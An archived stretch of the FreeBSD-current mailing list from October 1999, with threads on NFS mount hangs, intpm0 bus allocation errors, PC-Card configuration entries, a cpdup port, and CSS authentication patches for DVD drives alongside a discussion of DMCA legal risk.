CQlLVFJBQ0UJCQkja2VybmVsIHRyYWNpbmcKCm9wdGlvbnMJCVNZU1ZTSE0Kb3B0aW9ucwkJU1lT VlNFTQpvcHRpb25zCQlTWVNWTVNHCgpvcHRpb25zCQlEREIKI29wdGlvbnMgICAgICAgICBEREJf VU5BVFRFTkRFRAoKb3B0aW9ucwkJRElBR05PU1RJQwoKb3B0aW9ucwkJQ09OU1BFRUQ9MTE1MjAw CQkjZGVmYXVsdCBzcGVlZCBmb3Igc2VyaWFsIGNvbnNvbGUKb3B0aW9ucwkJTVNHQlVGX1NJWkU9 MzI3NjgKCm9wdGlvbnMJCVNPRlRVUERBVEVTCgpjb250cm9sbGVyCWlzYTAKY29udHJvbGxlcglw Y2kwCgpjb250cm9sbGVyCWZkYzAJYXQgaXNhPyBwb3J0ICJJT19GRDEiIGlycSA2IGRycSAyCmRp c2sJCWZkMAlhdCBmZGMwIGRyaXZlIDAKZGlzawkJZmQxCWF0IGZkYzAgZHJpdmUgMQoKY29udHJv bGxlcgl3ZGMwCWF0IGlzYT8gcG9ydCAiSU9fV0QxIiBpcnEgMTQgZmxhZ3MgMHhhMGZmYTBmZgpk aXNrCQl3ZDAJYXQgd2RjMCBkcml2ZSAwCmRpc2sJCXdkMQlhdCB3ZGMwIGRyaXZlIDEKY29udHJv bGxlcgl3ZGMxCWF0IGlzYT8gcG9ydCAiSU9fV0QyIiBpcnEgMTUgZmxhZ3MgMHhhMGZmYTBmZgpk aXNrCQl3ZDIJYXQgd2RjMSBkcml2ZSAwCmRpc2sJCXdkMwlhdCB3ZGMxIGRyaXZlIDEKCmRldmlj ZQkJd2NkMAoKb3B0aW9ucyAgICAgICAgIElERV9ERUxBWT0yMDAwICAjIEJlIG9wdGltaXN0aWMg YWJvdXQgSm9lIElERSBkZXZpY2UKCm9wdGlvbnMJCVZFU0EKCiMgYXRrYmRjMCBjb250cm9sbHMg Ym90aCB0aGUga2V5Ym9hcmQgYW5kIHRoZSBQUy8yIG1vdXNlCmNvbnRyb2xsZXIgICAgICBhdGti ZGMwIGF0IGlzYT8gcG9ydCBJT19LQkQKZGV2aWNlICAgICAgICAgIHBzbTAgICAgYXQgYXRrYmRj PyBpcnEgMTIKZGV2aWNlICAgICAgICAgIGF0a2JkMCAgYXQgYXRrYmRjPyBpcnEgMQoKZGV2aWNl ICAgICAgICAgIHZnYTAgICAgYXQgaXNhPyBwb3J0ID8gY29uZmxpY3RzCgojIHNwbGFzaCBzY3Jl ZW4vc2NyZWVuIHNhdmVyCnBzZXVkby1kZXZpY2UgICBzcGxhc2gKCiMgc3lzY29ucyBpcyB0aGUg ZGVmYXVsdCBjb25zb2xlIGRyaXZlciwgcmVzZW1ibGluZyBhbiBTQ08gY29uc29sZQpkZXZpY2Ug ICAgICAgICAgc2MwICAgICBhdCBpc2E/CgojIE1hbmRhdG9yeSwgZG9uJ3QgcmVtb3ZlCmRldmlj ZQkJbnB4MAlhdCBpc2E/IHBvcnQgIklPX05QWCIgaXJxIDEzCgpkZXZpY2UJCXNpbzAJYXQgaXNh PyBwb3J0ICJJT19DT00xIiBpcnEgNApkZXZpY2UJCXNpbzEJYXQgaXNhPyBwb3J0ICJJT19DT00y IiBpcnEgMwoKI2RldmljZQkJZWQwCWF0IGlzYT8gcG9ydCAweDMwMCBpcnEgMTAgaW9tZW0gMHhk ODAwMAoKY29udHJvbGxlciAgICAgIHBwYnVzMApkZXZpY2UgICAgICAgICAgbHB0MCAgIGF0IHBw YnVzPwpkZXZpY2UgICAgICAgICAgcGxpcDAgICBhdCBwcGJ1cz8KZGV2aWNlICAgICAgICAgIHBw aTAgICAgYXQgcHBidXM/CmRldmljZSAgICAgICAgICBwcHMwICAgIGF0IHBwYnVzPwpkZXZpY2Ug ICAgICAgICAgbHBiYjAgICBhdCBwcGJ1cz8KCmNvbnRyb2xsZXIgICAgICBwcGMwICAgIGF0IGlz YT8gcG9ydCA/IGlycSA3CgpkZXZpY2UJCWRlMApkZXZpY2UJCWZ4cDAKCmNvbnRyb2xsZXIJcG5w MAoKZGV2aWNlIHBjbTAKCmRldmljZSAgICAgICAgICBqb3kwICAgIGF0IGlzYT8gcG9ydCAiSU9f R0FNRSIKCiNkZXZpY2UgICAgICAgICAgYXBtMCAgICBhdCBpc2E/IGNvbmZsaWN0cwoKY29udHJv bGxlciAgICAgIHNtYnVzMApjb250cm9sbGVyICAgICAgaWljYnVzMApjb250cm9sbGVyICAgICAg aWljYmIwICAKY29udHJvbGxlciAgICAgIGludHBtMCAgICAgICAgICAgICAgICAKZGV2aWNlICAg ICAgICAgIHNtYjAgICAgYXQgc21idXM/Cgpjb250cm9sbGVyICAgICAgYWhjMApjb250cm9sbGVy ICAgICAgc2NidXMwICAjYmFzZSBTQ1NJIGNvZGUKZGV2aWNlICAgICAgICAgIGNoMCAgICAgI1ND U0kgbWVkaWEgY2hhbmdlcnMKZGV2aWNlICAgICAgICAgIGRhMCAgICAgI1NDU0kgZGlyZWN0IGFj Y2VzcyBkZXZpY2VzIChha2EgZGlza3MpCmRldmljZSAgICAgICAgICBzYTAgICAgICNTQ1NJIHRh cGVzCmRldmljZSAgICAgICAgICBjZDAgICAgICNTQ1NJIENELVJPTXMKZGV2aWNlICAgICAgICAg IHBhc3MwICAgI0NBTSBwYXNzdGhyb3VnaCBkcml2ZXIKCgpwc2V1ZG8tZGV2aWNlCWxvb3AKcHNl dWRvLWRldmljZQlldGhlcgpwc2V1ZG8tZGV2aWNlCXB0eQkJMTYKcHNldWRvLWRldmljZQlicGYJ NApwc2V1ZG8tZGV2aWNlCWd6aXAJCSMgRXhlYyBnemlwcGVkIGEub3V0J3MKcHNldWRvLWRldmlj ZQljY2QJNAkjQ29uY2F0ZW5hdGVkIGRpc2sgZHJpdmVyCnBzZXVkby1kZXZpY2UJdm4KcHNldWRv LWRldmljZQl0dW4JNAoKb3B0aW9ucyAgICAgICAgIFAxMDAzXzFCCm9wdGlvbnMgICAgICAgICBf S1BPU0lYX1BSSU9SSVRZX1NDSEVEVUxJTkcKb3B0aW9ucyAgICAgICAgIF9LUE9TSVhfVkVSU0lP Tj0xOTkzMDlMCgojIFVTQiBzdXBwb3J0CiMgVUhDSSBjb250cm9sbGVyCmNvbnRyb2xsZXIgICAg ICB1aGNpMAojIE9IQ0kgY29udHJvbGxlcgpjb250cm9sbGVyICAgICAgb2hjaTAKIyBHZW5lcmFs IFVTQiBjb2RlIChtYW5kYXRvcnkgZm9yIFVTQikKY29udHJvbGxlciAgICAgIHVzYjAKIwojIEdl bmVyaWMgVVNCIGRldmljZSBkcml2ZXIKZGV2aWNlICAgICAgICAgIHVnZW4wCiMgSHVtYW4gSW50 ZXJmYWNlIERldmljZSAoYW55dGhpbmcgd2l0aCBidXR0b25zIGFuZCBkaWFscykKZGV2aWNlICAg ICAgICAgIHVoaWQwCiMgVVNCIGtleWJvYXJkCmRldmljZSAgICAgICAgICB1a2JkMAojIFVTQiBw cmludGVyCmRldmljZSAgICAgICAgICB1bHB0MAojIFVTQiBJb21lZ2EgWmlwIDEwMCBEcml2ZQpj b250cm9sbGVyICAgICAgdW1hc3MwCiMgVVNCIG1vdXNlCmRldmljZSAgICAgICAgICB1bXMwCiMK Cg== --_=XFMail.1.3.1.p0.FreeBSD:991027100038:23974=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 20: 4: 2 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 8AE0314CEB for ; Tue, 26 Oct 1999 20:03:38 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id UAA21924; Tue, 26 Oct 1999 20:03:35 -0700 (PDT) (envelope-from dillon) Date: Tue, 26 Oct 1999 20:03:35 -0700 (PDT) From: Matthew Dillon Message-Id: <199910270303.UAA21924@apollo.backplane.com> To: Jos Backus Cc: freebsd-current@FreeBSD.ORG Subject: Re: cleanup complete / trek73 References: <199910240822.BAA04463@mina.sr.hp.com> <199910261938.MAA20577@apollo.backplane.com> <19991026235222.B3705@hal.mpn.cp.philips.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :May I humbly put in a plea for a cpdup port? : :Thanks :) : :Cheers, :-- :Jos Backus _/ _/_/_/ "Reliability means never Yes, I'll do a cpdup port too. The last time I proposed it I think the conclusion was that there was no other software that did precisely the same thing. Besides, it'd just be a port so it can't hurt. I use cpdup a lot. I'll probably remove the MD5 generation/check option, though, it's a little too messy and there are better ways to do it. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 20: 8:13 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 17DD714CEB for ; Tue, 26 Oct 1999 20:08:12 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id UAA21956; Tue, 26 Oct 1999 20:07:57 -0700 (PDT) (envelope-from dillon) Date: Tue, 26 Oct 1999 20:07:57 -0700 (PDT) From: Matthew Dillon Message-Id: <199910270307.UAA21956@apollo.backplane.com> To: "Daniel O'Connor" Cc: freebsd-current@FreeBSD.ORG Subject: Re: mount_nfs hanging in sbwait References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :This message is in MIME format :--_=XFMail.1.3.1.p0.FreeBSD:991027100038:23974=_ :Content-Type: text/plain; charset=us-ascii : :Hi, :I upgraded my -current box a few days ago, and now whenever I boot it hangs :mounting the NFS FS's.. Pressing ctrl-T reveals its stuck in sbwait, if I press :ctrl-C then it finishes booting, and all the NFS mounts work except one :-/ : :Also, when I run gqmpeg I notice it will start playing one song (and actually :play it because another process does the work), get stuck in sbwait and then I :will not be able to do anything with it. : :I realise the problem report is very vague, but I have no idea where to look! :I've attached my kernel config file and dmesg.boot file. : : :/usr/home /usr/ports and /local0 work, but /rusr hangs in (you guessed it) :sbwait. : :All NFS mounts are mounted with the options 'rw,bg,resvport,intr,soft,tcp' I've noticed that when one reboots a client, TCP nfs mounts often hang for a bit. I think this is due to the previous tcp mount not being cleared on the server. I'm not sure why it hangs. But, I have also noticed that the tcp mount comes back after a few minutes. Try waiting a few minutes and it should clear itself up. This happens quite often when I reboot my diskless workstation. I presume that after you come up you can mount /rusr manually (via tcp) and it works -- that this isn't a total failure. If you can *never* get that mount to work there may be a problem with the /etc/exports file on the server. -Matt :--_=XFMail.1.3.1.p0.FreeBSD:991027100038:23974=_ :Content-Disposition: attachment; filename="dmesg.boot" :Content-Transfer-Encoding: base64 :Content-Description: dmesg.boot :Content-Type: application/octet-stream; name=dmesg.boot; SizeOnDisk=4090 : :Q29weXJpZ2h0IChjKSAxOTkyLTE5OTkgVGhlIEZyZWVCU0QgUHJvamVjdC4KQ29weXJpZ2h0IChj :KSAxOTgyLCAxOTg2LCAxOTg5LCAxOTkxLCAxOTkzCglUaGUgUmVnZW50cyBvZiB0aGUgVW5pdmVy (p.s. try to avoid mime-encoding email you post to the list). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 20:19:28 1999 Delivered-To: freebsd-current@freebsd.org Received: from smtp1.ihug.co.nz (tk1.ihug.co.nz [203.29.160.13]) by hub.freebsd.org (Postfix) with ESMTP id DFA2E14CEB for ; Tue, 26 Oct 1999 20:19:24 -0700 (PDT) (envelope-from mmuir@es.co.nz) Received: from es.co.nz (p14-max2.dun.ihug.co.nz [209.76.100.77]) by smtp1.ihug.co.nz (8.9.3/8.9.3/Debian/GNU) with ESMTP id QAA32530; Wed, 27 Oct 1999 16:19:17 +1300 Message-ID: <38166F33.6C5C8CB6@es.co.nz> Date: Wed, 27 Oct 1999 16:19:15 +1300 From: Mike Muir X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 4.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: "Alexander N. Kabaev" Cc: freebsd-current@FreeBSD.ORG Subject: Re: intpm0: Could not allocate Bus space References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Alexander N. Kabaev" wrote: > uhci0: irq 9 at device 7.2 on pci0 > usb0: on uhci0 > uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 > uhub0: 2 ports with 2 removable, self powered > intpm0: at device 7.3 on pci0 > intpm0: Could not allocate Bus space Take a look in intpm(4) under the bugs section: This device requires IRQ 9 exclusively. To use this, you should enable ACPI function in BIOS configuration, or PnP mechanism assigns conflicted IRQ for PnP ISA card. And don't use IRQ 9 for Non-PnP ISA cards. Your USB bus controller being on irq 9 might be causing this problem.. Have a play around with IRQ's. mike. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 21: 2:55 1999 Delivered-To: freebsd-current@freebsd.org Received: from neptune.psn.net (neptune.psn.net [207.211.58.16]) by hub.freebsd.org (Postfix) with ESMTP id 05A0314E6D; Tue, 26 Oct 1999 21:02:53 -0700 (PDT) (envelope-from andrews@technologist.com) Received: from 5042-243.008.popsite.net ([209.224.140.243] helo=argon) by neptune.psn.net with smtp (PSN Internet Service 2.12 #3) id 11gKIW-0005TR-00; Tue, 26 Oct 1999 21:02:53 -0700 Message-Id: <3.0.6.32.19991027000213.007f8430@mail.psn.net> X-Sender: andrews@mail.psn.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 27 Oct 1999 00:02:13 -0400 To: Jun Kuriyama From: andrews@technologist.com Subject: Re: cvs commit: src/etc pccard.conf.sample Cc: current@FreeBSD.ORG, imp@FreeBSD.ORG In-Reply-To: <199910260453.VAA54789@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 09:53 PM 10/25/99 -0700, you wrote: >kuriyama 1999/10/25 21:53:29 PDT > > Modified files: (Branch: RELENG_3) > etc pccard.conf.sample > Log: > MFC: Add Allied Telesis CentreCOM LA-PCM_V2 entry. Here's another (works only under 4.0-CURRENT, as this particular PC-Card is a CardBus): # 3Com Megahertz 3C574B (3CCFE574BT) card "3Com" "Megahertz 574B" config 0x1 "ep0" 10 0x1 insert /etc/pccard_ether ep0 insert 3Com Megahertz 574B card inserted remove /sbin/ifconfig delete ep0 remove 3Com Megahertz 574B card removed I originally was unable to get this card working - it required IRQ 10, so I had to change the "?" to "10" (my entry was copied from another 3Com card, don't remember which). Note: This hasn't been tested with Warner's new pcic code. I'll be doing that this weekend. :-) -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 21:46:18 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id DE02A14EB6 for ; Tue, 26 Oct 1999 21:46:16 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id VAA22589; Tue, 26 Oct 1999 21:46:16 -0700 (PDT) (envelope-from dillon) Date: Tue, 26 Oct 1999 21:46:16 -0700 (PDT) From: Matthew Dillon Message-Id: <199910270446.VAA22589@apollo.backplane.com> To: Jos Backus , freebsd-current@FreeBSD.ORG Subject: Re: cleanup complete / trek73 References: <199910240822.BAA04463@mina.sr.hp.com> <199910261938.MAA20577@apollo.backplane.com> <19991026235222.B3705@hal.mpn.cp.philips.com> <199910270303.UAA21924@apollo.backplane.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : Yes, I'll do a cpdup port too. The last time I : proposed it I think the conclusion was that there was : no other software that did precisely the same thing. : Besides, it'd just be a port so it can't hurt. I use : cpdup a lot. I'll probably remove the MD5 generation/check : option, though, it's a little too messy and there are : better ways to do it. Scratch that about the MD5 stuff -- I'll leave it in. The code is actually pretty clean. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 21:49:42 1999 Delivered-To: freebsd-current@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 5590B14EB6 for ; Tue, 26 Oct 1999 21:49:39 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3]) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id FAA83695; Wed, 27 Oct 1999 05:49:42 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 27 Oct 1999 05:49:42 +0100 (BST) From: Doug Rabson To: "Alexander N. Kabaev" Cc: freebsd-current@freebsd.org Subject: Re: intpm0: Could not allocate Bus space In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 26 Oct 1999, Alexander N. Kabaev wrote: > Current (cvsupped and build today) fails to attach to the intpm0 device. The > following is my dmesg message: I know exactly what is wrong here and I hope to have patches very soon (possibly today). -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 21:51:14 1999 Delivered-To: freebsd-current@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 32E7F14EB6 for ; Tue, 26 Oct 1999 21:51:11 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3]) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id FAA84571; Wed, 27 Oct 1999 05:51:12 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 27 Oct 1999 05:51:12 +0100 (BST) From: Doug Rabson To: Mike Muir Cc: "Alexander N. Kabaev" , freebsd-current@freebsd.org Subject: Re: intpm0: Could not allocate Bus space In-Reply-To: <38166F33.6C5C8CB6@es.co.nz> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 27 Oct 1999, Mike Muir wrote: > "Alexander N. Kabaev" wrote: > > > > uhci0: irq 9 at device 7.2 on pci0 > > usb0: on uhci0 > > uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 > > uhub0: 2 ports with 2 removable, self powered > > intpm0: at device 7.3 on pci0 > > intpm0: Could not allocate Bus space > > Take a look in intpm(4) under the bugs section: > > This device requires IRQ 9 exclusively. To use this, you should enable > ACPI function in BIOS configuration, or PnP mechanism assigns conflicted > IRQ for PnP ISA card. And don't use IRQ 9 for Non-PnP ISA cards. > > Your USB bus controller being on irq 9 might be causing this problem.. > Have a play around with IRQ's. This is another problem. The intpm hardware maps its registers in a bogus way (it has a map register at offset 0x90 in configuration space which is different from every other pci device we support). -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 22:52:56 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 6D81714C0C for ; Tue, 26 Oct 1999 22:52:54 -0700 (PDT) (envelope-from gadde@cs.duke.edu) Received: from timber.cs.duke.edu (timber.cs.duke.edu [152.3.140.46]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id BAA13121 for ; Wed, 27 Oct 1999 01:52:53 -0400 (EDT) Received: (gadde@localhost) by timber.cs.duke.edu (8.8.5/8.6.9) id BAA28232 for freebsd-current@FreeBSD.ORG; Wed, 27 Oct 1999 01:52:52 -0400 (EDT) Date: Wed, 27 Oct 1999 01:52:52 -0400 From: Syam Gadde To: freebsd-current@FreeBSD.ORG Subject: Re: CSS authentication for DVD-ROMs Message-ID: <19991027015252.A28226@timber.cs.duke.edu> Mail-Followup-To: freebsd-current@FreeBSD.ORG References: <19991026112711.A27696@timber.cs.duke.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <19991026112711.A27696@timber.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Patches for CSS to a bleeding-edge -current (well, Monday night) can be found at: http://www.cs.duke.edu/~gadde/freebsd/dvd/ Anyone want to try it out? Run "tstdvd" on a patched kernel and see what happens. I've been able to authenticate most of my 6 DVDs (including The Matrix and A Bug's Life), but my "regionless" DVDs do not, surprisingly. I am investigating. I'm using a Toshiba SD-M1202 DVD-ROM. Oh, and by the way, do not run the dvdinfo program in the css-auth package unless you want your DVD drive to be unusable until your next reboot. -syam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 23:17:42 1999 Delivered-To: freebsd-current@freebsd.org Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (Postfix) with ESMTP id 0B91E14F0B for ; Tue, 26 Oct 1999 23:17:38 -0700 (PDT) (envelope-from sef@kithrup.com) Received: (from sef@localhost) by kithrup.com (8.8.8/8.8.8) id XAA15707; Tue, 26 Oct 1999 23:17:36 -0700 (PDT) (envelope-from sef) Date: Tue, 26 Oct 1999 23:17:36 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199910270617.XAA15707@kithrup.com> To: current@freebsd.org Reply-To: current@freebsd.org Subject: Re: CSS authentication for DVD-ROMs Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Given the recent posting of DVD movie decryption code (see Slashdot >for details), I was wondering if there was interest for code that >does CSS authentication for DVD-ROM drives. I looked at the slashdot posts, and was surprised (I guess) to see that nobody seems to know about the Digital Millennium Copyright Act. Part of which makes it a copyright violation (at $2500/copy distributed) to "manufacture or distribute technology" which can be used to bypass encryption of digital works. E.g., DVDs. I'm reasonably sure that parts of this will be struck down for constitutional reasons, but until it is... it's a very risky thing to do. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 1:46:39 1999 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 4C7BE14FF9; Wed, 27 Oct 1999 01:46:34 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@d60-025.leach.ucdavis.edu [169.237.60.25]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id BAA12239; Wed, 27 Oct 1999 01:46:34 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id BAA86570; Wed, 27 Oct 1999 01:46:33 -0700 (PDT) (envelope-from obrien) Date: Wed, 27 Oct 1999 01:46:33 -0700 From: "David O'Brien" To: andrews@technologist.com Cc: Jun Kuriyama , current@FreeBSD.ORG, imp@FreeBSD.ORG Subject: Re: cvs commit: src/etc pccard.conf.sample Message-ID: <19991027014633.A86547@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <199910260453.VAA54789@freefall.freebsd.org> <3.0.6.32.19991027000213.007f8430@mail.psn.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <3.0.6.32.19991027000213.007f8430@mail.psn.net>; from andrews@technologist.com on Wed, Oct 27, 1999 at 12:02:13AM -0400 X-Operating-System: FreeBSD 4.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Oct 27, 1999 at 12:02:13AM -0400, andrews@technologist.com wrote: > At 09:53 PM 10/25/99 -0700, you wrote: > >kuriyama 1999/10/25 21:53:29 PDT > > > > Modified files: (Branch: RELENG_3) > > etc pccard.conf.sample > > Log: > > MFC: Add Allied Telesis CentreCOM LA-PCM_V2 entry. > > Here's another (works only under 4.0-CURRENT, as this > particular PC-Card is a CardBus): Are you *SURE* this is CardBus? AFAIK, we don't yet (at least pre-Warner's new pcic code) support CardBus. > # 3Com Megahertz 3C574B (3CCFE574BT) Isn't this just a rebadged (and slightly tweaked) 3Com 3c574tx? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 4:52:15 1999 Delivered-To: freebsd-current@freebsd.org Received: from mailtoaster1.pipeline.ch (mailtoaster1.pipeline.ch [62.48.0.70]) by hub.freebsd.org (Postfix) with SMTP id 5BDA615163 for ; Wed, 27 Oct 1999 04:52:11 -0700 (PDT) (envelope-from oppermann@pipeline.ch) Received: (qmail 81322 invoked from network); 27 Oct 1999 11:51:39 -0000 Received: from unknown (HELO pipeline.ch) ([195.134.128.41]) (envelope-sender ) by mailtoaster1.pipeline.ch (qmail-ldap-1.03) with SMTP for ; 27 Oct 1999 11:51:39 -0000 Message-ID: <3816E73E.9C36D9C2@pipeline.ch> Date: Wed, 27 Oct 1999 13:51:26 +0200 From: Andre Oppermann X-Mailer: Mozilla 4.03 [en] (WinNT; U) MIME-Version: 1.0 To: current@freebsd.org Subject: Re: CSS authentication for DVD-ROMs References: <199910270617.XAA15707@kithrup.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sean Eric Fagan wrote: > > >Given the recent posting of DVD movie decryption code (see Slashdot > >for details), I was wondering if there was interest for code that > >does CSS authentication for DVD-ROM drives. > > I looked at the slashdot posts, and was surprised (I guess) to see that nobody > seems to know about the Digital Millennium Copyright Act. Part of which makes > it a copyright violation (at $2500/copy distributed) to "manufacture or > distribute technology" which can be used to bypass encryption of digital > works. E.g., DVDs. > > I'm reasonably sure that parts of this will be struck down for constitutional > reasons, but until it is... it's a very risky thing to do. Not every country has the same stupid "copyright" laws as the US. Who cares anyway that they think they can rule the world? -- Andre Oppermann CEO / Geschaeftsfuehrer Internet Business Solutions Ltd. (AG) Hardstrasse 235, 8005 Zurich, Switzerland Fon +41 1 277 75 75 / Fax +41 1 277 75 77 http://www.pipeline.ch ibs@pipeline.ch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 4:57:33 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.kt.rim.or.jp (mail.kt.rim.or.jp [202.247.130.53]) by hub.freebsd.org (Postfix) with ESMTP id A614214FFB; Wed, 27 Oct 1999 04:57:23 -0700 (PDT) (envelope-from kuriyama@sky.rim.or.jp) Received: from rhea.sky.rim.or.jp (ppp373.kt.rim.or.jp [202.247.140.73]) by mail.kt.rim.or.jp (8.8.8/3.6W-RIMNET-98-06-09) with ESMTP id UAA26233; Wed, 27 Oct 1999 20:57:21 +0900 (JST) Received: from localhost.sky.rim.or.jp (localhost [127.0.0.1]) by rhea.sky.rim.or.jp (8.9.3/3.7W/rhea-1.2) with ESMTP id UAA27166; Wed, 27 Oct 1999 20:57:19 +0900 (JST) Date: Wed, 27 Oct 1999 20:57:18 +0900 Message-ID: <14358.59550.816796.8408H@localhost.sky.rim.or.jp> From: Jun Kuriyama To: obrien@FreeBSD.ORG To: andrews@technologist.com Cc: current@FreeBSD.ORG, imp@FreeBSD.ORG Subject: Re: cvs commit: src/etc pccard.conf.sample In-Reply-To: In your message of "Wed, 27 Oct 1999 01:46:33 -0700" <19991027014633.A86547@dragon.nuxi.com> References: <199910260453.VAA54789@freefall.freebsd.org> <3.0.6.32.19991027000213.007f8430@mail.psn.net> <19991027014633.A86547@dragon.nuxi.com> User-Agent: Wanderlust/1.0.3 (Notorious) SEMI/1.13.3 (Komaiko) FLIM/1.12.5 (Hirahata) MULE XEmacs/20.4 (Emerald) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.3 - "Komaiko") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: "David O'Brien" > > # 3Com Megahertz 3C574B (3CCFE574BT) > Isn't this just a rebadged (and slightly tweaked) 3Com 3c574tx? I think so. We should add that new card, isn't it? Will, could you send me result of 